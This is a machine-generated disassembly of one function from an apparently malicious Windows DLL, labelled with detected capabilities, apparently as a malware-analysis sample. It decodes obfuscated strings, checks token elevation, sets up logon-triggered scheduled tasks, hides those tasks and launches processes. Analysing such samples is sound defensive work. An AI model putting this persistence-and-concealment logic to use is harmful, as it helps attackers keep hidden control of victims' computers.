Function at 0x180011470
Capabilities:
Access peb ldr_data
Authenticate hmac
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0xee0]
sub rsp, 0xfe0
mov rax, qword [0x18005c010]
xor rax, rsp
mov qword [rbp + 0xed0], rax
xor r12d, r12d
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x270]
call fcn.180019360
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x60]
call fcn.180019360
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0xab0]
call fcn.180019360
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x8a0]
call fcn.180019360
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0xcc0]
call fcn.180019360
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x480]
call fcn.180019360
mov dword [rsp + 0x40], 0xf1c1916d
mov dword [rsp + 0x44], 0xf1fe9143
mov dword [rsp + 0x48], 0xf1e39156
mov dword [rsp + 0x4c], 0xf1fc9150
mov dword [rsp + 0x50], 0xf1f09175
mov dword [rsp + 0x54], 0xf1f09145
mov dword [rsp + 0x58], 0xf1c2916d
mov dword [rsp + 0x5c], 0xf1fe9145
mov dword [rsp + 0x60], 0xf1f09143
mov dword [rsp + 0x64], 0xf1f49156
mov dword [rsp + 0x68], 0xf1c29166
mov dword [rsp + 0x6c], 0xf1e39161
mov dword [rsp + 0x70], 0xf1ff9158
mov dword [rsp + 0x74], 0xf1919145
mov esi, 0xf191
mov ecx, dword [0x180076738]
mov rax, qword gs:[0x58]
mov rdi, qword [rax + rcx*8]
mov ecx, 0x204
mov eax, dword [rcx + rdi]
mov ebx, 0x1a8
test al, 1
jne 0x180011639
or eax, 1
mov dword [rcx + rdi], eax
lea rax, [rdi + rbx]
mov byte [rax + 0x38], 1
lea rcx, [rax + 0x36]
lea rdx, [rsp + 0x76]
cmp rax, rdx
ja 0x180011607
lea rdx, [rsp + 0x40]
cmp rcx, rdx
jb 0x180011607
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rsp + 0x60]
movups xmmword [rax + 0x20], xmm0
movsd xmm1, qword [rsp + 0x70]
movsd qword [rax + 0x30], xmm1
jmp 0x18001162c
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rsp + 0x60]
movups xmmword [rax + 0x20], xmm0
movsd xmm1, qword [rsp + 0x70]
movsd qword [rax + 0x30], xmm1
lea rcx, [0x180041a00]
call fcn.180016004
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x38], 0
je 0x1800116bb
mov eax, 0x9131
xor word [rdx], ax
xor word [rdx + 2], si
xor word [rdx + 4], ax
xor word [rdx + 6], si
xor word [rdx + 8], ax
xor word [rdx + 0xa], si
xor word [rdx + 0xc], ax
xor word [rdx + 0xe], si
xor word [rdx + 0x10], ax
xor word [rdx + 0x12], si
xor word [rdx + 0x14], ax
xor word [rdx + 0x16], si
xor word [rdx + 0x18], ax
xor word [rdx + 0x1a], si
xor word [rdx + 0x1c], ax
xor word [rdx + 0x1e], si
xor word [rdx + 0x20], ax
xor word [rdx + 0x22], si
xor word [rdx + 0x24], ax
xor word [rdx + 0x26], si
xor word [rdx + 0x28], ax
xor word [rdx + 0x2a], si
xor word [rdx + 0x2c], ax
xor word [rdx + 0x2e], si
xor word [rdx + 0x30], ax
xor word [rdx + 0x32], si
xor word [rdx + 0x34], ax
xor word [rdx + 0x36], si
mov byte [rdx + 0x38], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], r12
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp word [rdx + r8*2], 0
jne 0x1800116d4
lea rcx, [rbp + 0x40]
call fcn.180009f90
nop
mov ecx, 0x210
mov eax, dword [rcx + rdi]
mov esi, 0x218
mov r14d, 0x4b3b
test al, 1
jne 0x18001172f
or eax, 1
mov dword [rcx + rdi], eax
mov byte [rdi + rsi + 0xc], 1
mov dword [rdi + rsi], 0x4b483ba2
mov dword [rdi + rsi + 4], 0x4b1e3bdb
mov dword [rdi + rsi + 8], 0x4b3b3bf4
lea rcx, [0x1800419d0]
call fcn.180016004
nop
lea rdx, [rdi + rsi]
cmp byte [rdx + 0xc], 0
je 0x18001175c
mov eax, 0x3b87
xor word [rdx], ax
xor word [rdx + 2], r14w
xor word [rdx + 4], ax
xor word [rdx + 6], r14w
xor word [rdx + 8], ax
xor word [rdx + 0xa], r14w
mov byte [rdx + 0xc], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], r12
mov qword [rbp - 0x10], r12
mov r8, rbx
nop
inc r8
cmp word [rdx + r8*2], 0
jne 0x180011770
lea rcx, [rbp - 0x28]
call fcn.180009f90
nop
mov r8d, 0x104
lea rdx, [rbp + 0x270]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x180011e4f
mov edx, 0x5c
lea rcx, [rbp + 0x270]
call fcn.18001915c
test rax, rax
je 0x1800117c9
lea rdx, [rax + 2]
lea rcx, [rbp + 0xab0]
call qword [sym.imp.SHLWAPI.dll_StrCpyW]
lea rcx, [rbp + 0x270]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x8a0]
call qword [sym.imp.SHLWAPI.dll_StrCpyW]
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x690]
call fcn.180019360
mov edx, 0x104
lea rcx, [rbp + 0x690]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x180011e42
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], r12
mov qword [rbp + 0x10], r12
lea rax, [rbp + 0x690]
mov r8, rbx
inc r8
cmp word [rax + r8*2], 0
jne 0x180011831
lea rdx, [rbp + 0x690]
lea rcx, [rbp - 8]
call fcn.180009f90
nop
lea rcx, [rbp - 8]
call fcn.180010150
cmp rax, 0xffffffffffffffff
je 0x180011e00
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x28], r12
mov qword [rbp + 0x30], r12
cmp qword [rbp + 8], rax
cmovb rax, qword [rbp + 8]
lea rdx, [rbp - 8]
cmp qword [rbp + 0x10], 8
cmovae rdx, qword [rbp - 8]
mov r8, rax
lea rcx, [rbp + 0x18]
call fcn.180009f90
nop
cmp qword [rbp + 0x28], 0
je 0x180011dbf
lea r8, [rbp + 0x40]
lea rdx, [rbp + 0x18]
lea rcx, [rbp - 0x78]
call fcn.180012820
nop
mov rax, qword [rbp + 0x28]
cmp qword [rbp - 0x68], rax
jbe 0x180011d7e
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 8
cmovae rdx, qword [rbp - 0x78]
lea rcx, [rbp + 0xcc0]
call qword [sym.imp.SHLWAPI.dll_StrCpyW]
mov esi, r12d
mov qword [rsp + 0x30], r12
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x30]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180011928
lea rax, [rbp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x38]
lea edx, [r9 + 0x10]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne esi, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x180011938
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 8
cmovae rdx, qword [rbp - 0x78]
lea rcx, [rbp + 0x8a0]
call qword [sym.imp.SHLWAPI.dll_StrCmpW]
test eax, eax
je 0x180011d78
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 8
cmovae rdx, qword [rbp - 0x78]
call fcn.180011f40
cmp eax, 0xffffffff
je 0x180011d7e
lea r8, [rbp - 0x78]
cmp qword [rbp - 0x60], 8
cmovae r8, qword [rbp - 0x78]
lea r9, [rbp + 0xab0]
lea rdx, [rbp + 0x8a0]
call fcn.180010ef0
lea r8, [rbp - 0x78]
cmp qword [rbp - 0x60], 8
cmovae r8, qword [rbp - 0x78]
lea rdx, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae rdx, qword [rbp - 0x28]
lea r9, [rbp + 0xab0]
lea rcx, [rbp + 0x60]
call qword [sym.imp.USER32.dll_wsprintfW]
test esi, esi
je 0x180011c64
mov ecx, 0x1e4
mov eax, dword [rcx + rdi]
mov esi, 0x1e8
mov r14d, 0xd391
test al, 1
jne 0x180011a31
or eax, 1
mov dword [rcx + rdi], eax
mov byte [rdi + rsi + 0x1a], 1
mov dword [rdi + rsi], 0x91bad3e6
mov dword [rdi + rsi + 4], 0x91bfd3ff
mov dword [rdi + rsi + 8], 0x91b4d3fe
mov dword [rdi + rsi + 0xc], 0x91bdd3fe
mov dword [rdi + rsi + 0x10], 0x91b6d3bf
mov dword [rdi + rsi + 0x14], 0x91b6d3e9
mov word [rdi + rsi + 0x18], r14w
lea rcx, [0x1800419a0]
call fcn.180016004
nop
lea rdx, [rdi + rsi]
cmp byte [rdx + 0x1a], 0
je 0x180011a7e
xor word [rdx], r14w
mov eax, 0x91d3
xor word [rdx + 2], ax
xor word [rdx + 4], r14w
xor word [rdx + 6], ax
xor word [rdx + 8], r14w
xor word [rdx + 0xa], ax
xor word [rdx + 0xc], r14w
xor word [rdx + 0xe], ax
xor word [rdx + 0x10], r14w
xor word [rdx + 0x12], ax
xor word [rdx + 0x14], r14w
xor word [rdx + 0x16], ax
xor word [rdx + 0x18], r14w
mov byte [rdx + 0x1a], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], r12
mov r8, rbx
inc r8
cmp word [rdx + r8*2], 0
jne 0x180011a90
lea rcx, [rbp - 0x48]
call fcn.180009f90
nop
lea r8, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae r8, qword [rbp - 0x48]
lea rdx, [rbp + 0x60]
call fcn.1800120f0
mov ecx, 0x18
call fcn.180015afc
mov rsi, rax
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov dword [rax + 8], 1
mov dword [rax + 0xc], 1
lea rax, vtable.std::_Ref_count_obj2_class_ScheduleLogonTriggers_.0
mov qword [rsi], rax
lea rcx, [rsi + 0x10]
lea rax, vtable.ScheduleLogonTriggers.0
mov qword [rcx], rax
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x58], rcx
mov qword [rbp - 0x50], rsi
test rcx, rcx
je 0x180011bf3
lea r8, [rbp + 0x480]
lea rdx, [rbp + 0x60]
call fcn.180014e40
lea rcx, [rbp + 0x480]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x180011bf3
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r15, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae r15, qword [rbp - 0x48]
mov ecx, 0x228
call fcn.180015afc
mov rdi, rax
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov dword [rax + 8], 1
mov dword [rax + 0xc], 1
lea rax, vtable.std::_Ref_count_obj2_class_HideScheduledTasks_.0
mov qword [rdi], rax
lea r14, [rdi + 0x10]
lea rax, vtable.HideScheduledTasks.0
mov qword [r14], rax
mov qword [r14 + 8], r12
lea rcx, [r14 + 0x10]
xor edx, edx
mov r8d, 0x104
call fcn.180019360
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], rdi
test r14, r14
je 0x180011bc9
mov r8, r15
lea rdx, [rbp + 0x480]
mov rcx, r14
call fcn.18000b710
nop
mov eax, ebx
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x180011bf3
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
mov eax, ebx
lock xadd dword [rdi + 0xc], eax
cmp eax, 1
jne 0x180011bf3
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, ebx
lock xadd dword [rsi + 8], eax
cmp eax, 1
jne 0x180011c1b
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax]
lock xadd dword [rsi + 0xc], ebx
cmp ebx, 1
jne 0x180011c1b
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 8
jb 0x180011d7e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180011c5a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180011f17
call fcn.180015eb8
jmp 0x180011d7e
mov ecx, 0x18
call fcn.180015afc
mov rdi, rax
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov dword [rax + 8], 1
mov dword [rax + 0xc], 1
lea rax, vtable.std::_Ref_count_obj2_class_ScheduleLogonTriggers_.0
mov qword [rdi], rax
lea rcx, [rdi + 0x10]
lea rax, vtable.ScheduleLogonTriggers.0
mov qword [rcx], rax
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x58], rcx
mov qword [rbp - 0x50], rdi
test rcx, rcx
je 0x180011cc3
lea r8, [rbp + 0x480]
lea rdx, [rbp + 0x60]
call fcn.180014e40
mov ecx, 0x18
call fcn.180015afc
mov rsi, rax
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov dword [rax + 8], 1
mov dword [rax + 0xc], 1
lea rax, vtable.std::_Ref_count_obj2_class_ProcessCreationModule_.0
mov qword [rsi], rax
lea rcx, [rsi + 0x10]
lea rax, vtable.ProcessCreationModule.0
mov qword [rcx], rax
movups xmmword [rsp + 0x78], xmm0
mov qword [rsp + 0x78], rcx
mov qword [rbp - 0x80], rsi
test rcx, rcx
je 0x180011d25
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x60]
xor edx, edx
call fcn.180012df0
nop
mov eax, ebx
lock xadd dword [rsi + 8], eax
cmp eax, 1
jne 0x180011d4f
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax]
mov eax, ebx
lock xadd dword [rsi + 0xc], eax
cmp eax, 1
jne 0x180011d4f
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, ebx
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x180011d7e
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
lock xadd dword [rdi + 0xc], ebx
cmp ebx, 1
jne 0x180011d7e
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x180011d7e
call fcn.1800125b0
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 8
jb 0x180011dbf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180011db9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180011f1d
call fcn.180015eb8
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 8
jb 0x180011e00
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180011dfa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180011f23
call fcn.180015eb8
nop
mov rdx, qword [rbp + 0x10]
cmp rdx, 8
jb 0x180011e4f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180011e3b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180011f29
call fcn.180015eb8
jmp 0x180011e4f
lea rcx, str.Failed_to_get_Windows_directory._n
call fcn.18000a110
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 8
jb 0x180011e8f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180011e8a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180011f2f
call fcn.180015eb8
mov qword [rbp - 0x18], r12
mov qword [rbp - 0x10], 7
mov word [rbp - 0x28], r12w
mov rdx, qword [rbp + 0x58]
cmp rdx, 8
jb 0x180011edc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180011ed7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180011f11
call fcn.180015eb8
mov eax, 1
mov rcx, qword [rbp + 0xed0]
xor rcx, rsp
call fcn.180015840
lea r11, [rsp + 0xfe0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.18001de6c
nop
call fcn.18001de6c
nop
call fcn.18001de6c
nop
call fcn.18001de6c
nop
call fcn.18001de6c
nop
call fcn.18001de6c
int3